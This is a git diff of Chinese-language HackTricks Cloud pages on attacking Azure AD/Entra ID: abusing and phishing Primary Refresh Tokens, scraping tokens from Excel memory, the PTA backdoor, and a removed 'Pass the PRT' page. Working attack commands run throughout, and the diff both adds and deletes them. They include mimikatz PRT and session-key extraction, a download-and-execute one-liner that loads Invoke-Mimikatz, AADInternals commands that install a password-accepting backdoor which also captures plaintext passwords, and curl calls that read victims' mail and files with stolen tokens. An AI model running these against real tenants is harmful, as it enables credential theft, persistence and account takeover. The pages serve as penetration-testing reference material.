管理员仍然可以与 LSASS 一起工作以滥用 PRT:例如,管理员可以向 LSASS 注入代码或调用内部 CloudAP 函数以提示 LSASS 生成令牌。Dirk-jan 的研究指出,管理员可以“使用加密 API 与 LSASS 中的 PRT 密钥进行交互”。在实践中,这可能意味着使用 LSASS 自身的功能(通过 API hooking 或 RPC 等技术,如果可用)生成 PRT cookie。另一种方法是利用会话密钥可能出现在内存中的任何窗口——例如,在 PRT 更新或设备注册时,它未加密以供使用。这类攻击复杂且具有情境性。更直接的管理员策略是滥用现有的令牌句柄或缓存:LSASS 在内存中缓存最近发放的应用程序刷新令牌(使用 DPAPI 加密)。一个决心坚定的 SYSTEM 攻击者可以尝试提取这些受 DPAPI 保护的令牌(使用用户的主密钥,管理员可以获得)以直接窃取特定应用程序的刷新令牌。然而,最简单和最通用的方法仍然是冒充和使用文档化的令牌代理接口,因为这些保证 Azure AD 将发放新令牌(带有所有适当的声明),而不是尝试破解加密。
|
||||
管理员仍然可以与 LSASS 一起工作以滥用 PRT:例如,管理员可以向 LSASS 注入代码或调用内部 CloudAP 函数以提示 LSASS 生成令牌。Dirk-jan 的研究指出,管理员可以“使用加密 API 与 LSASS 中的 PRT 密钥进行交互”。在实践中,这可能意味着使用 LSASS 自身的功能(通过 API hooking 或 RPC 等技术,如果可用)来生成 PRT cookie。另一种方法是利用会话密钥可能出现在内存中的任何窗口——例如,在 PRT 更新或设备注册时,当它未加密以供使用时。这类攻击复杂且具有情境性。更直接的管理员策略是滥用现有的令牌句柄或缓存:LSASS 在内存中缓存最近发放的应用程序刷新令牌(使用 DPAPI 加密)。一个决心坚定的 SYSTEM 攻击者可以尝试提取这些受 DPAPI 保护的令牌(使用用户的主密钥,管理员可以获取)以直接窃取特定应用程序的刷新令牌。然而,最简单和最通用的方法仍然是冒充和使用文档化的令牌代理接口,因为这些保证 Azure AD 将发放新令牌(带有所有适当的声明),而不是尝试破解加密。
|
||||
|
||||
## 钓鱼 PRT
|
||||
|
||||
利用 **OAuth 设备代码** 流程,使用 **Microsoft Authentication Broker 客户端 ID** (**`29d9ed98-a469-4536-ade2-f981bc1d605e`**) 和 **设备注册服务 (DRS)** 资源获取 **可以在注册一个** **恶意设备** 后升级为主刷新令牌 (PRT) 的 **刷新令牌**。
|
||||
利用 **OAuth 设备代码** 流程,使用 **Microsoft Authentication Broker 客户端 ID** (**`29d9ed98-a469-4536-ade2-f981bc1d605e`**) 和 **设备注册服务 (DRS)** 资源获取 **可以在注册一个** **恶意设备** 后升级为 **主刷新令牌 (PRT)** 的 **刷新令牌**。
|
||||
|
||||
### **为什么这有效**
|
||||
|
||||
- **PRT** 是 **设备绑定的**,并启用 **几乎所有 Entra 保护应用的 SSO**。
|
||||
- **Broker 客户端 + DRS** 组合允许被钓鱼的 **刷新令牌** 在设备注册后 **兑换为 PRT**。
|
||||
- **MFA 并未被绕过**:**用户在钓鱼过程中执行 MFA**;**MFA 声明传播**到生成的 PRT,使攻击者可以 **无进一步提示** 访问应用。
|
||||
- **MFA 不会被绕过**:**用户在钓鱼过程中执行 MFA**;**MFA 声明传播**到生成的 PRT,让攻击者在 **没有进一步提示** 的情况下访问应用。
|
||||
|
||||
**前提条件**:
|
||||
|
||||
- **通过设备代码进行用户身份验证**,使用 **Broker 客户端 ID** (`29d9ed98-a469-4536-ade2-f981bc1d605e`) 和 **DRS 范围/资源**(例如,**`01cb2876-7ebd-4aa4-9cc9-d28bd4d359a9/.default`** 或 **`https://enrollment.manage.microsoft.com/`**)。
|
||||
- **用户可以在 Entra ID 中注册设备**(**默认:允许**,但可以限制或配额限制)。
|
||||
- **没有阻止 CA 策略**,这些策略 **禁用设备代码** 或 **要求合规/混合设备** 用于目标应用(这些不会阻止 PRT 发放,但 **会** 阻止 **使用** 它访问受保护的应用)。
|
||||
- **攻击者控制的主机** 用于运行流程并持有令牌/设备密钥。
|
||||
- **攻击者控制的主机** 以运行流程并持有令牌/设备密钥。
|
||||
|
||||
**攻击流程**:
|
||||
|
||||
@@ -239,7 +300,7 @@ curl -s -X POST \
|
||||
|
||||
5. **(可选持久性)**:如果 MFA 是新鲜的,**注册一个 Windows Hello for Business 密钥** 以保持 **长期无密码访问**。
|
||||
|
||||
6. **滥用**:兑换 **PRT**(或生成 **PRT cookie**)以获取 **Exchange/Graph/SharePoint/Teams/自定义应用** 的 **访问令牌** 作为用户。
|
||||
6. **滥用**:兑换 **PRT**(或铸造 **PRT cookie**)以获取 **Exchange/Graph/SharePoint/Teams/自定义应用** 的 **访问令牌** 作为用户。
|
||||
|
||||
### 公共工具和概念验证
|
||||
|
||||
|
||||
-34
@@ -1,34 +0,0 @@
|
||||
# Az - Processes Memory Access Token
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## **基本信息**
|
||||
|
||||
如[**此视频**](https://www.youtube.com/watch?v=OHKZkXC4Duw)中所述,一些与云同步的Microsoft软件(Excel、Teams等)可能会**以明文形式在内存中存储访问令牌**。因此,仅需**转储**该进程的**内存**并**grep JWT令牌**,可能会让您绕过MFA访问受害者在云中的多个资源。
|
||||
|
||||
步骤:
|
||||
|
||||
1. 使用您喜欢的工具转储与EntraID用户同步的Excel进程。
|
||||
2. 运行:`string excel.dmp | grep 'eyJ0'`,并在输出中找到多个令牌
|
||||
3. 找到您最感兴趣的令牌,并对其运行工具:
|
||||
```bash
|
||||
# Check the identity of the token
|
||||
curl -s -H "Authorization: Bearer <token>" https://graph.microsoft.com/v1.0/me | jq
|
||||
|
||||
# Check the email (you need a token authorized in login.microsoftonline.com)
|
||||
curl -s -H "Authorization: Bearer <token>" https://outlook.office.com/api/v2.0/me/messages | jq
|
||||
|
||||
# Download a file from Teams
|
||||
## You need a token that can access graph.microsoft.com
|
||||
## Then, find the <site_id> inside the memory and call
|
||||
curl -s -H "Authorization: Bearer <token>" https://graph.microsoft.com/v1.0/sites/<site_id>/drives | jq
|
||||
|
||||
## Then, list one drive
|
||||
curl -s -H "Authorization: Bearer <token>" 'https://graph.microsoft.com/v1.0/sites/<site_id>/drives/<drive_id>' | jq
|
||||
|
||||
## Finally, download a file from that drive:
|
||||
curl -o <filename_output> -L -H "Authorization: Bearer <token>" '<@microsoft.graph.downloadUrl>'
|
||||
```
|
||||
**请注意,这种访问令牌也可以在其他进程中找到。**
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
+7
-7
@@ -4,18 +4,18 @@
|
||||
|
||||
## 基本信息
|
||||
|
||||
[来自文档:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-pta) Microsoft Entra 透传身份验证允许您的用户使用相同的密码**登录本地和基于云的应用程序**。此功能为您的用户提供了更好的体验 - 记住的密码少了一项,并且减少了 IT 帮助台的成本,因为您的用户不太可能忘记如何登录。当用户使用 Microsoft Entra ID 登录时,此功能会直接针对您的本地 Active Directory 验证用户的密码。
|
||||
[来自文档:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-pta) Microsoft Entra 透传身份验证允许您的用户使用相同的密码**登录本地和基于云的应用程序**。此功能为您的用户提供了更好的体验——记住的密码减少了一次,并且降低了 IT 帮助台的成本,因为您的用户不太可能忘记如何登录。当用户使用 Microsoft Entra ID 登录时,此功能会直接针对您的本地 Active Directory 验证用户的密码。
|
||||
|
||||
在 PTA 中,**身份**是**同步**的,但**密码**不像 PHS 那样。
|
||||
|
||||
身份验证在本地 AD 中验证,云端的通信由在**本地服务器**上运行的**身份验证代理**完成(它不需要在本地 DC 上)。
|
||||
身份验证在本地 AD 中验证,与云的通信由在**本地服务器**上运行的**身份验证代理**完成(它不需要在本地 DC 上)。
|
||||
|
||||
### 身份验证流程
|
||||
|
||||
<figure><img src="../../../../images/image (92).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
1. 为了**登录**,用户被重定向到**Azure AD**,在这里他发送**用户名**和**密码**
|
||||
2. **凭据**被**加密**并放入 Azure AD 的**队列**中
|
||||
2. **凭据**被**加密**并放入 Azure AD 中的**队列**
|
||||
3. **本地身份验证代理**从队列中收集**凭据**并**解密**它们。这个代理被称为**“透传身份验证代理”**或**PTA 代理**。
|
||||
4. **代理**将凭据与**本地 AD**进行**验证**,并将**响应****返回**给 Azure AD,如果响应是积极的,**完成用户的登录**。
|
||||
|
||||
@@ -58,7 +58,7 @@ Get-Service -Name "AzureADConnectAuthenticationAgent"
|
||||
```
|
||||
## Pivoting
|
||||
|
||||
如果您对运行 **PTA** **agent** 的 **Azure AD Connect server** 拥有 **admin** 访问权限,您可以使用 **AADInternals** 模块 **插入一个后门**,该后门将 **验证所有输入的密码**(因此所有密码都将有效用于身份验证):
|
||||
如果您对运行 **PTA** **agent** 的 **Azure AD Connect server** 拥有 **admin** 访问权限,您可以使用 **AADInternals** 模块 **插入后门**,该后门将 **验证所有输入的密码**(因此所有密码都将有效用于身份验证):
|
||||
```bash
|
||||
Install-Module AADInternals -RequiredVersion 0.9.3
|
||||
Import-Module AADInternals
|
||||
@@ -73,18 +73,18 @@ Remove-AADIntPTASpy # Remove the backdoor
|
||||
这个后门将会:
|
||||
|
||||
- 创建一个隐藏文件夹 `C:\PTASpy`
|
||||
- 复制 `PTASpy.dll` 到 `C:\PTASpy`
|
||||
- 复制一个 `PTASpy.dll` 到 `C:\PTASpy`
|
||||
- 将 `PTASpy.dll` 注入到 `AzureADConnectAuthenticationAgentService` 进程中
|
||||
|
||||
> [!NOTE]
|
||||
> 当 AzureADConnectAuthenticationAgent 服务被重启时,PTASpy 会被“卸载”,必须重新安装。
|
||||
|
||||
> [!CAUTION]
|
||||
> 在云中获得**GA权限**后,可以**注册一个新的PTA代理**,并可以**重复**之前的步骤**使用任何密码进行身份验证**,并且**以明文获取密码**。
|
||||
> 在云中获得**GA权限**后,可以**注册一个新的PTA代理**,并且可以**重复**之前的步骤**使用任何密码进行身份验证**,并且**以明文获取密码**。
|
||||
|
||||
### Seamless SSO
|
||||
|
||||
可以使用与PTA的无缝SSO,这对其他滥用是脆弱的。请查看:
|
||||
可以使用 PTA 的 Seamless SSO,这对其他滥用是脆弱的。请查看:
|
||||
|
||||
{{#ref}}
|
||||
seamless-sso.md
|
||||
-58
@@ -1,58 +0,0 @@
|
||||
# Az AD Connect - Hybrid Identity
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## 基本信息
|
||||
|
||||
**本地 Active Directory (AD)** 和 **Azure AD** 之间的集成通过 **Azure AD Connect** 实现,提供多种支持 **单点登录 (SSO)** 的方法。每种方法虽然有用,但都存在潜在的安全漏洞,可能被利用以危害云或本地环境:
|
||||
|
||||
- **Pass-Through Authentication (PTA)**:
|
||||
- 可能会导致本地 AD 上代理的泄露,从而允许验证用户密码以进行 Azure 连接(本地到云)。
|
||||
- 在新位置(云到本地)注册新代理以验证身份的可行性。
|
||||
|
||||
{{#ref}}
|
||||
pta-pass-through-authentication.md
|
||||
{{#endref}}
|
||||
|
||||
- **Password Hash Sync (PHS)**:
|
||||
- 可能从 AD 中提取特权用户的明文密码,包括高特权、自动生成的 AzureAD 用户的凭据。
|
||||
|
||||
{{#ref}}
|
||||
phs-password-hash-sync.md
|
||||
{{#endref}}
|
||||
|
||||
- **Federation**:
|
||||
- 窃取用于 SAML 签名的私钥,允许冒充本地和云身份。
|
||||
|
||||
{{#ref}}
|
||||
federation.md
|
||||
{{#endref}}
|
||||
|
||||
- **Seamless SSO:**
|
||||
- 窃取 `AZUREADSSOACC` 用户的密码,该密码用于签署 Kerberos 银票,允许冒充任何云用户。
|
||||
|
||||
{{#ref}}
|
||||
seamless-sso.md
|
||||
{{#endref}}
|
||||
|
||||
- **Cloud Kerberos Trust**:
|
||||
- 通过操纵 AzureAD 用户名和 SID 并请求 AzureAD 的 TGT,可能从全局管理员升级到本地域管理员。
|
||||
|
||||
{{#ref}}
|
||||
az-cloud-kerberos-trust.md
|
||||
{{#endref}}
|
||||
|
||||
- **Default Applications**:
|
||||
- 破坏应用程序管理员账户或本地同步账户允许修改目录设置、组成员资格、用户账户、SharePoint 站点和 OneDrive 文件。
|
||||
|
||||
{{#ref}}
|
||||
az-default-applications.md
|
||||
{{#endref}}
|
||||
|
||||
对于每种集成方法,都会进行用户同步,并在本地 AD 中创建一个 `MSOL_<installationidentifier>` 账户。值得注意的是,**PHS** 和 **PTA** 方法都支持 **无缝 SSO**,使得加入本地域的 Azure AD 计算机能够自动登录。
|
||||
|
||||
要验证 **Azure AD Connect** 的安装,可以使用以下 PowerShell 命令,利用 **AzureADConnectHealthSync** 模块(默认与 Azure AD Connect 一起安装):
|
||||
```bash
|
||||
Get-ADSyncConnector
|
||||
```
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
-250
@@ -1,250 +0,0 @@
|
||||
# Az - Pass the PRT
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## 什么是 PRT
|
||||
|
||||
{{#ref}}
|
||||
az-primary-refresh-token-prt.md
|
||||
{{#endref}}
|
||||
|
||||
### 检查您是否拥有 PRT
|
||||
```
|
||||
Dsregcmd.exe /status
|
||||
```
|
||||
在SSO状态部分,您应该看到**`AzureAdPrt`**设置为**YES**。
|
||||
|
||||
<figure><img src="../../../images/image (140).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
在同一输出中,您还可以看到**设备是否已加入Azure**(在字段`AzureAdJoined`中):
|
||||
|
||||
<figure><img src="../../../images/image (135).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## PRT Cookie
|
||||
|
||||
PRT cookie实际上被称为**`x-ms-RefreshTokenCredential`**,它是一个JSON Web Token (JWT)。JWT包含**3个部分**,**头部**、**有效载荷**和**签名**,由`.`分隔,并且都是url安全的base64编码。一个典型的PRT cookie包含以下头部和主体:
|
||||
```json
|
||||
{
|
||||
"alg": "HS256",
|
||||
"ctx": "oYKjPJyCZN92Vtigt/f8YlVYCLoMu383"
|
||||
}
|
||||
{
|
||||
"refresh_token": "AQABAAAAAAAGV_bv21oQQ4ROqh0_1-tAZ18nQkT-eD6Hqt7sf5QY0iWPSssZOto]<cut>VhcDew7XCHAVmCutIod8bae4YFj8o2OOEl6JX-HIC9ofOG-1IOyJegQBPce1WS-ckcO1gIOpKy-m-JY8VN8xY93kmj8GBKiT8IAA",
|
||||
"is_primary": "true",
|
||||
"request_nonce": "AQABAAAAAAAGV_bv21oQQ4ROqh0_1-tAPrlbf_TrEVJRMW2Cr7cJvYKDh2XsByis2eCF9iBHNqJJVzYR_boX8VfBpZpeIV078IE4QY0pIBtCcr90eyah5yAA"
|
||||
}
|
||||
```
|
||||
实际的 **Primary Refresh Token (PRT)** 被封装在 **`refresh_token`** 中,该令牌由 Azure AD 控制的密钥加密,使其内容对我们来说是不可见和不可解密的。字段 **`is_primary`** 表示该令牌中封装了主刷新令牌。为了确保 cookie 保持与其预期的特定登录会话绑定,`request_nonce` 从 `logon.microsoftonline.com` 页面传输。
|
||||
|
||||
### 使用 TPM 的 PRT Cookie 流
|
||||
|
||||
**LSASS** 进程将 **KDF context** 发送到 TPM,TPM 将使用 **session key**(在设备注册到 AzureAD 时收集并存储在 TPM 中)和先前的上下文来 **派生** 一个 **key**,这个 **派生的密钥** 用于 **签名 PRT cookie (JWT)**。
|
||||
|
||||
**KDF context** 是来自 AzureAD 的随机数和 PRT 创建的 **JWT** 混合的 **上下文**(随机字节)。
|
||||
|
||||
因此,即使 PRT 不能被提取,因为它位于 TPM 内部,但可以滥用 LSASS 来 **请求来自新上下文的派生密钥并使用生成的密钥来签名 Cookies**。
|
||||
|
||||
<figure><img src="../../../images/image (31).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## PRT 滥用场景
|
||||
|
||||
作为 **普通用户**,可以通过请求 LSASS 获取 SSO 数据来 **请求 PRT 使用**。\
|
||||
这可以像 **本地应用程序** 一样完成,这些应用程序从 **Web Account Manager**(令牌代理)请求令牌。WAM 将请求传递给 **LSASS**,后者使用签名的 PRT 断言请求令牌。或者可以通过 **基于浏览器的 (web) 流** 来完成,其中 **PRT cookie** 用作 **header** 来验证对 Azure AS 登录页面的请求。
|
||||
|
||||
作为 **SYSTEM**,如果没有受到 TPM 保护,可以 **窃取 PRT** 或 **使用加密 API 与 LSASS 中的 PRT 密钥交互**。
|
||||
|
||||
## Pass-the-PRT 攻击示例
|
||||
|
||||
### 攻击 - ROADtoken
|
||||
|
||||
有关此方法的更多信息 [**请查看此帖子**](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/)。ROADtoken 将从正确的目录运行 **`BrowserCore.exe`** 并使用它来 **获取 PRT cookie**。然后可以使用此 cookie 与 ROADtools 进行身份验证并 **获取持久的刷新令牌**。
|
||||
|
||||
要生成有效的 PRT cookie,您需要的第一件事是一个随机数。\
|
||||
您可以通过以下方式获取:
|
||||
```bash
|
||||
$TenantId = "19a03645-a17b-129e-a8eb-109ea7644bed"
|
||||
$URL = "https://login.microsoftonline.com/$TenantId/oauth2/token"
|
||||
|
||||
$Params = @{
|
||||
"URI" = $URL
|
||||
"Method" = "POST"
|
||||
}
|
||||
$Body = @{
|
||||
"grant_type" = "srv_challenge"
|
||||
}
|
||||
$Result = Invoke-RestMethod @Params -UseBasicParsing -Body $Body
|
||||
$Result.Nonce
|
||||
AwABAAAAAAACAOz_BAD0_8vU8dH9Bb0ciqF_haudN2OkDdyluIE2zHStmEQdUVbiSUaQi_EdsWfi1 9-EKrlyme4TaOHIBG24v-FBV96nHNMgAA
|
||||
```
|
||||
或使用 [**roadrecon**](https://github.com/dirkjanm/ROADtools):
|
||||
```bash
|
||||
roadrecon auth prt-init
|
||||
```
|
||||
然后你可以使用 [**roadtoken**](https://github.com/dirkjanm/ROADtoken) 来获取一个新的 PRT(从用户的进程中运行该工具进行攻击):
|
||||
```bash
|
||||
.\ROADtoken.exe <nonce>
|
||||
```
|
||||
作为单行:
|
||||
```bash
|
||||
Invoke-Command - Session $ps_sess -ScriptBlock{C:\Users\Public\PsExec64.exe - accepteula -s "cmd.exe" " /c C:\Users\Public\SessionExecCommand.exe UserToImpersonate C:\Users\Public\ROADToken.exe AwABAAAAAAACAOz_BAD0__kdshsy61GF75SGhs_[...] > C:\Users\Public\PRT.txt"}
|
||||
```
|
||||
然后您可以使用**生成的 cookie**来**生成令牌**以使用 Azure AD **Graph** 或 Microsoft Graph **登录**:
|
||||
```bash
|
||||
# Generate
|
||||
roadrecon auth --prt-cookie <prt_cookie>
|
||||
|
||||
# Connect
|
||||
Connect-AzureAD --AadAccessToken <token> --AccountId <acc_ind>
|
||||
```
|
||||
### 攻击 - 使用 roadrecon
|
||||
|
||||
### 攻击 - 使用 AADInternals 和泄露的 PRT
|
||||
|
||||
`Get-AADIntUserPRTToken` **获取用户的 PRT 令牌** 从 Azure AD 加入或混合加入的计算机。使用 `BrowserCore.exe` 获取 PRT 令牌。
|
||||
```bash
|
||||
# Get the PRToken
|
||||
$prtToken = Get-AADIntUserPRTToken
|
||||
|
||||
# Get an access token for AAD Graph API and save to cache
|
||||
Get-AADIntAccessTokenForAADGraph -PRTToken $prtToken
|
||||
```
|
||||
或者,如果您拥有来自 Mimikatz 的值,您也可以使用 AADInternals 生成令牌:
|
||||
```bash
|
||||
# Mimikat "PRT" value
|
||||
$MimikatzPRT="MC5BWU..."
|
||||
|
||||
# Add padding
|
||||
while($MimikatzPrt.Length % 4) {$MimikatzPrt += "="}
|
||||
|
||||
# Decode
|
||||
$PRT=[text.encoding]::UTF8.GetString([convert]::FromBase64String($MimikatzPRT))
|
||||
|
||||
# Mimikatz "Clear key" value
|
||||
$MimikatzClearKey="37c5ecdfeab49139288d8e7b0732a5c43fac53d3d36ca5629babf4ba5f1562f0"
|
||||
|
||||
# Convert to Byte array and B64 encode
|
||||
$SKey = [convert]::ToBase64String( [byte[]] ($MimikatzClearKey -replace '..', '0x$&,' -split ',' -ne ''))
|
||||
|
||||
# Generate PRTToken with Nonce
|
||||
$prtToken = New-AADIntUserPRTToken -RefreshToken $PRT -SessionKey $SKey -GetNonce
|
||||
$prtToken
|
||||
## You can already use this token ac cookie in the browser
|
||||
|
||||
# Get access token from prtToken
|
||||
$AT = Get-AADIntAccessTokenForAzureCoreManagement -PRTToken $prtToken
|
||||
|
||||
# Verify access and connect with Az. You can see account id in mimikatz prt output
|
||||
Connect-AzAccount -AccessToken $AT -TenantID <tenant-id> -AccountId <acc-id>
|
||||
```
|
||||
前往 [https://login.microsoftonline.com](https://login.microsoftonline.com),清除所有 login.microsoftonline.com 的 cookies,并输入一个新的 cookie。
|
||||
```
|
||||
Name: x-ms-RefreshTokenCredential
|
||||
Value: [Paste your output from above]
|
||||
Path: /
|
||||
HttpOnly: Set to True (checked)
|
||||
```
|
||||
然后访问 [https://portal.azure.com](https://portal.azure.com)
|
||||
|
||||
> [!CAUTION]
|
||||
> 其余部分应为默认值。确保您可以刷新页面并且 cookie 不会消失,如果消失了,您可能犯了错误,需要重新进行该过程。如果没有消失,您应该没问题。
|
||||
|
||||
### 攻击 - Mimikatz
|
||||
|
||||
#### 步骤
|
||||
|
||||
1. **PRT(主刷新令牌)从 LSASS(本地安全授权子系统服务)中提取**并存储以供后续使用。
|
||||
2. **接下来提取会话密钥**。鉴于此密钥最初由本地设备发出,然后重新加密,因此需要使用 DPAPI 主密钥进行解密。有关 DPAPI(数据保护 API)的详细信息,请参阅这些资源:[HackTricks](https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.html),要了解其应用,请参考 [Pass-the-cookie attack](az-pass-the-cookie.md)。
|
||||
3. 在解密会话密钥后,**获得 PRT 的派生密钥和上下文**。这些对于**创建 PRT cookie**至关重要。具体而言,派生密钥用于签署构成 cookie 的 JWT(JSON Web Token)。Dirk-jan 提供了对此过程的全面解释,您可以在 [这里](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/) 访问。
|
||||
|
||||
> [!CAUTION]
|
||||
> 请注意,如果 PRT 在 TPM 中而不在 `lsass` 中,**mimikatz 将无法提取它**。\
|
||||
> 但是,可以从 TPM 中的上下文派生密钥获取密钥,并使用它来**签署 cookie(检查选项 3)**。
|
||||
|
||||
您可以在这里找到**提取这些详细信息的深入解释**:[**https://dirkjanm.io/digging-further-into-the-primary-refresh-token/**](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/)
|
||||
|
||||
> [!WARNING]
|
||||
> 在 2021 年 8 月的修复后,这将无法准确地获取其他用户的 PRT 令牌,因为只有用户可以获取他的 PRT(本地管理员无法访问其他用户的 PRT),但可以访问他的。
|
||||
|
||||
您可以使用 **mimikatz** 提取 PRT:
|
||||
```bash
|
||||
mimikatz.exe
|
||||
Privilege::debug
|
||||
Sekurlsa::cloudap
|
||||
|
||||
# Or in powershell
|
||||
iex (New-Object Net.Webclient).downloadstring("https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Invoke-Mimikatz.ps1")
|
||||
Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::cloudap"'
|
||||
```
|
||||
(Images from https://blog.netwrix.com/2023/05/13/pass-the-prt-overview)
|
||||
|
||||
<figure><img src="../../../images/image (251).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**复制**标记为**Prt**的部分并保存。\
|
||||
还要提取会话密钥(**`ProofOfPossesionKey`**字段的**`KeyValue`**),您可以在下面看到高亮显示的部分。这个是加密的,我们需要使用我们的DPAPI主密钥来解密它。
|
||||
|
||||
<figure><img src="../../../images/image (182).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
> [!NOTE]
|
||||
> 如果您没有看到任何PRT数据,可能是因为您**没有任何PRT**,因为您的设备没有加入Azure AD,或者您可能在**运行旧版本**的Windows 10。
|
||||
|
||||
要**解密**会话密钥,您需要**提升**您的权限到**SYSTEM**,以在计算机上下文中运行,以便能够使用**DPAPI主密钥进行解密**。您可以使用以下命令来做到这一点:
|
||||
```
|
||||
token::elevate
|
||||
dpapi::cloudapkd /keyvalue:[PASTE ProofOfPosessionKey HERE] /unprotect
|
||||
```
|
||||
<figure><img src="../../../images/image (183).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### 选项 1 - 完整的 Mimikatz
|
||||
|
||||
- 现在你想复制上下文值:
|
||||
|
||||
<figure><img src="../../../images/image (210).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
- 以及派生密钥值:
|
||||
|
||||
<figure><img src="../../../images/image (150).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
- 最后,你可以使用所有这些信息来 **生成 PRT cookies**:
|
||||
```bash
|
||||
Dpapi::cloudapkd /context:[CONTEXT] /derivedkey:[DerivedKey] /Prt:[PRT]
|
||||
```
|
||||
<figure><img src="../../../images/image (282).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
- 访问 [https://login.microsoftonline.com](https://login.microsoftonline.com),清除所有 login.microsoftonline.com 的 cookies,然后输入一个新的 cookie。
|
||||
```
|
||||
Name: x-ms-RefreshTokenCredential
|
||||
Value: [Paste your output from above]
|
||||
Path: /
|
||||
HttpOnly: Set to True (checked)
|
||||
```
|
||||
- 然后访问 [https://portal.azure.com](https://portal.azure.com)
|
||||
|
||||
> [!CAUTION]
|
||||
> 其余的应该是默认设置。确保您可以刷新页面并且 cookie 不会消失,如果消失了,您可能犯了错误,需要重新进行该过程。如果没有消失,您应该没问题。
|
||||
|
||||
#### 选项 2 - 使用 PRT 的 roadrecon
|
||||
|
||||
- 首先更新 PRT,这将把它保存在 `roadtx.prt`:
|
||||
```bash
|
||||
roadtx prt -a renew --prt <PRT From mimikatz> --prt-sessionkey <clear key from mimikatz>
|
||||
```
|
||||
- 现在我们可以使用交互式浏览器通过 `roadtx browserprtauth` **请求令牌**。如果我们使用 `roadtx describe` 命令,我们会看到访问令牌包含一个 MFA 声明,因为我在这种情况下使用的 PRT 也有一个 MFA 声明。
|
||||
```bash
|
||||
roadtx browserprtauth
|
||||
roadtx describe < .roadtools_auth
|
||||
```
|
||||
<figure><img src="../../../images/image (44).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### 选项 3 - 使用派生密钥的 roadrecon
|
||||
|
||||
在获得上下文和通过 mimikatz 转储的派生密钥后,可以使用 roadrecon 生成一个新的签名 cookie:
|
||||
```bash
|
||||
roadrecon auth --prt-cookie <cookie> --prt-context <context> --derives-key <derived key>
|
||||
```
|
||||
## 参考
|
||||
|
||||
- [https://stealthbits.com/blog/lateral-movement-to-the-cloud-pass-the-prt/](https://stealthbits.com/blog/lateral-movement-to-the-cloud-pass-the-prt/)
|
||||
- [https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/)
|
||||
- [https://www.youtube.com/watch?v=x609c-MUZ_g](https://www.youtube.com/watch?v=x609c-MUZ_g)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
+14
-12
@@ -4,7 +4,7 @@
|
||||
|
||||
## 基本信息
|
||||
|
||||
[来自文档:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso) Azure Active Directory Seamless Single Sign-On (Azure AD Seamless SSO) 自动**在用户使用连接到公司网络的公司设备时登录用户**。启用后,**用户无需输入密码即可登录 Azure AD**,通常甚至无需输入用户名。此功能为用户提供了轻松访问基于云的应用程序的方式,而无需任何额外的本地组件。
|
||||
[来自文档:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso) Azure Active Directory Seamless Single Sign-On (Azure AD Seamless SSO) 会在用户使用连接到公司网络的公司设备时**自动登录用户**。启用后,**用户无需输入密码即可登录 Azure AD**,通常甚至不需要输入用户名。此功能为用户提供了轻松访问基于云的应用程序的方式,而无需任何额外的本地组件。
|
||||
|
||||
<figure><img src="../../../../images/image (275).png" alt=""><figcaption><p><a href="https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso-how-it-works">https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso-how-it-works</a></p></figcaption></figure>
|
||||
|
||||
@@ -12,9 +12,9 @@
|
||||
|
||||
它支持 [**PHS (密码哈希同步)**](phs-password-hash-sync.md) 和 [**PTA (透传身份验证)**](pta-pass-through-authentication.md)。
|
||||
|
||||
桌面 SSO 使用 **Kerberos** 进行身份验证。配置后,Azure AD Connect 在本地 AD 中创建一个名为 `AZUREADSSOACC$` 的**计算机帐户**。`AZUREADSSOACC$` 帐户的密码在配置期间**以明文形式发送到 Entra ID**。
|
||||
桌面 SSO 使用 **Kerberos** 进行身份验证。当配置时,Azure AD Connect 会在本地 AD 中创建一个名为 `AZUREADSSOACC$` 的**计算机帐户**。`AZUREADSSOACC$` 帐户的密码在配置期间**以明文形式发送到 Entra ID**。
|
||||
|
||||
**Kerberos 票证**使用密码的 **NTHash (MD4)** 进行**加密**,Entra ID 使用发送的密码解密票证。
|
||||
**Kerberos 票证**使用密码的 **NTHash (MD4)** 进行**加密**,Entra ID 使用发送的密码来解密票证。
|
||||
|
||||
**Entra ID** 暴露一个 **端点** (https://autologon.microsoftazuread-sso.com),接受 Kerberos **票证**。域加入机器的浏览器将票证转发到此端点以实现 SSO。
|
||||
|
||||
@@ -42,10 +42,10 @@ $searcher.FindOne()
|
||||
|
||||
为了获得该 TGS 票证,攻击者需要拥有以下之一:
|
||||
- **被攻陷用户的 TGS:** 如果您在内存中攻陷了用户的会话,并获得了 `HTTP/autologon.microsoftazuread-sso.com` 的票证,您可以使用它访问云资源。
|
||||
